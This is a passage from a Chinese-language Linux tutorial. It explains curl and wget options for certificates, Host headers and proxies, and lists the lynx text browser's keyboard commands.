echo 'ca-certificate = /etc/ssl/certs/ca-certificates.crt' > ~/.wgetrc
echo 'cacert=/etc/ssl/certs/ca-certificates.crt' > ~/.curlrc
# curl 和 wget 不验证证书进行https请求
$ wget 'https://x.x.x.x/get_ips' --no-check-certificate
$ curl 'https://x.x.x.x/get_ips' -k
示例13.指定主机头测试Nginx虚拟主机的配置:
代码语言:javascript复制curl https://104.154.30.67 -H 'Host:foo.bar.com' -k
# CLIENT VALUES:
# client_address=10.245.0.6
# command=GET
# real path=/
# query=nil
# request_version=1.1
# request_uri=http://foo.bar.com:8080/
# SERVER VALUES:
# server_version=nginx: 1.9.11 - lua: 10001
# HEADERS RECEIVED:
# accept=*/*
# connection=close
# host=foo.bar.com
# user-agent=curl/7.35.0
# x-forwarded-for=10.245.0.1
# x-forwarded-host=foo.bar.com
# x-forwarded-proto=https
示例14.curl 命令如何使用代理下载资源
代码语言:javascript复制# -x host:port
# -x [protocol://[user:pwd@]host[:port]
# --proxy [protocol://[user:pwd@]host[:port]
# 使用HTTP代理访问;如果未指定端口,默认使用8080端口;
# protocol默认为http_proxy,其他可能的值包括:http_proxy、HTTPS_PROXY、socks4、socks4a、socks5;
# 如:--proxy 8.8.8.8:8080;-x "http_proxy://user:password@weiyigeek.top:80"
curl -x 192.168.11.215:3128 -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
注意事项:curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用–silent选项
lynx 命令
lynx命令是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息,Linux发行版都没有默认安装,需要您自己下载;
yum install -y lynx
基础语法:
代码语言:javascript复制lynx [选项] [参数] # URL:指定要访问的网站的URL地址。
#选项:
-case:在搜索字符串时,区分大小写;
-ftp:关闭ftp功能;
-nobrowse:关闭目录浏览功能;
-noclor:关闭色彩显示模式;
-reload:更新代理服务器的缓存,只对首页有效;
#内部命令#
#移动命令
* 下方向键:页面上的下一个链接(用高亮度显示)。
* 上方向键:页面上的前一个链接(用高亮度显示)。
* 回车和右方向键:跳转到链接指向的地址。
* 左方向键:回到上一个页面。
#滚动命令
* 、Page-Down、Space、Ctrl f:向下翻页。
* -、Page-Up、b、Ctrl b:向上翻页。
* Ctrl a:移动到当前页的最前面。
* Ctrl e:移动到当前页的最后面。
* Ctrl n:向下翻两行。
* Ctrl p:往回翻两行。
* ):向下翻半页。
* (:往回翻半页。
* #:回到当前页的 Toolbar 或 Banner。
#文件操作命令
c:建立一个新文件。
d:下载选中的文件。
E:编辑选中的文件。
f:为当前文件显示一个选项菜单。
m:修改选中文件的名字或位置。
r:删除选中的文件。
t:Tag highlighted file。
u:上载一个文件到当前目录。
#其他命令
?、h:帮助。
a:把当前链接加入到一个书签文件里。
c:向页面的拥有者发送意见或建议。
d:下载当前链接。
e:编辑当前文件。
g:跳转到一个用户 指定的URL或文件。
G:编辑当前页的URL,并跳转到这个URL。
i:显示文档索引。
j:执行预先定义的“短”命令。
k:显示键盘命令列表。
l:列出当前页上所有链接的地址。
m:回到首页 。
o:设置选项。
p:把当前页输出到文件,e-mail,打印机或其他地方。
q:退出。
/:在当前页内查找字符串。
s:在外部搜索输入的字符串。
n:搜索下一个。
v:查看一个书签文件。
V:跳转到访问过的地址。
x:不使用缓存。
z:停止当前传输。
[backspace]:跳转到历史页(同 V 命令)。
=:显示当前页的信息。
:查看当前页的源代码。
!:回到shell提示符下。
_:清除当前任务的所有授权信息。
*:图形链接模式的切换开关。
@:8位传输模式或CJK模式的切换开关。
[:pseudo_inlines 模式的切换开关。
]:为当前页或当前链接发送一个“head”请求。
Ctrl r:重新装如当前页并且刷新屏幕。
Ctrl w:刷新屏幕。
Ctrl u:删除输入的行。
Ctrl g:取消输入或者传送。
Ctrl t:跟踪模式的切换开关。
;:看Lynx对当前任务的跟踪记录。
Ctrl k:调用 Cookie Jar 页。
数字键:到后面的第 n 个链接。
实际案例:
代码语言:javascript复制lynx https://baidu.com
WeiyiGeek.lynx案例